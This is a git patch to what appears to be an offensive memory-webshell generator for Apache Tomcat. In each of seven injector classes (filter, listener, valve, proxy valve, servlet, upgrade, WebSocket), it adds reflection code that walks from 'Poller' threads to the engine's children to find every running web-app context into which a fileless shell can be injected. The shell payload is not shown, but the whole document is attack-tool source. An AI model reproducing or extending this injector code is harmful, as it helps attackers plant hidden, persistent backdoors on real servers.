From 9127b4668cc97b0b12f29e56623a08ef9052928d Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 15 Dec 2025 21:03:46 +0800 Subject: [PATCH] fix: context not found in fr v11 --- .../injector/tomcat/TomcatFilterInjector.java | 14 +++++++++++++- .../tomcat/TomcatListenerInjector.java | 16 ++++++++++++++-- .../tomcat/TomcatProxyValveInjector.java | 14 +++++++++++++- .../injector/tomcat/TomcatServletInjector.java | 14 +++++++++++++- .../injector/tomcat/TomcatUpgradeInjector.java | 14 +++++++++++++- .../injector/tomcat/TomcatValveInjector.java | 14 +++++++++++++- .../tomcat/TomcatWebSocketInjector.java | 18 +++++++++++++++--- 7 files changed, 94 insertions(+), 10 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index ee259036..5bec4d50 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -84,12 +84,24 @@ public class TomcatFilterInjector { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { + String threadName = thread.getName(); + if (threadName.contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (threadName.contains("Poller") && !threadName.contains("ajp")) { + try { + Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto"); + Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine"); + Map childrenMap = (Map) getFieldValue(engine, "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } catch (Exception ignored) { + } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); if (name.matches(".+WebappClassLoader")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index 1f879c17..dec479b8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -71,15 +71,27 @@ public class TomcatListenerInjector { } public Set getContext() throws Exception { - Set contexts = new HashSet<>(); + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { + String threadName = thread.getName(); + if (threadName.contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (threadName.contains("Poller") && !threadName.contains("ajp")) { + try { + Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto"); + Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine"); + Map childrenMap = (Map) getFieldValue(engine, "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } catch (Exception ignored) { + } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); if (name.matches(".+WebappClassLoader")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java index 982d9032..2162582b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -100,12 +100,24 @@ public class TomcatProxyValveInjector implements InvocationHandler { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { + String threadName = thread.getName(); + if (threadName.contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (threadName.contains("Poller") && !threadName.contains("ajp")) { + try { + Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto"); + Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine"); + Map childrenMap = (Map) getFieldValue(engine, "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } catch (Exception ignored) { + } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); if (name.matches(".+WebappClassLoader")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index 9f630953..8a4f9a08 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -81,12 +81,24 @@ public class TomcatServletInjector { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { + String threadName = thread.getName(); + if (threadName.contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (threadName.contains("Poller") && !threadName.contains("ajp")) { + try { + Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto"); + Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine"); + Map childrenMap = (Map) getFieldValue(engine, "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } catch (Exception ignored) { + } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); if (name.matches(".+WebappClassLoader")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java index 6e1820d9..3109fdeb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java @@ -80,12 +80,24 @@ public class TomcatUpgradeInjector { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { + String threadName = thread.getName(); + if (threadName.contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (threadName.contains("Poller") && !threadName.contains("ajp")) { + try { + Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto"); + Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine"); + Map childrenMap = (Map) getFieldValue(engine, "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } catch (Exception ignored) { + } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); if (name.matches(".+WebappClassLoader")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index 00616d89..bd4abbed 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -74,12 +74,24 @@ public class TomcatValveInjector { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { + String threadName = thread.getName(); + if (threadName.contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (threadName.contains("Poller") && !threadName.contains("ajp")) { + try { + Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto"); + Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine"); + Map childrenMap = (Map) getFieldValue(engine, "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } catch (Exception ignored) { + } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); if (name.matches(".+WebappClassLoader")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index c9d7f24f..f01f812a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -80,12 +80,24 @@ public class TomcatWebSocketInjector { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + String threadName = thread.getName(); + if (threadName.contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { - HashMap children = (HashMap) getFieldValue(value, "children"); + Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (threadName.contains("Poller") && !threadName.contains("ajp")) { + try { + Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto"); + Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine"); + Map childrenMap = (Map) getFieldValue(engine, "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } catch (Exception ignored) { + } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); if (name.matches(".+WebappClassLoader")) {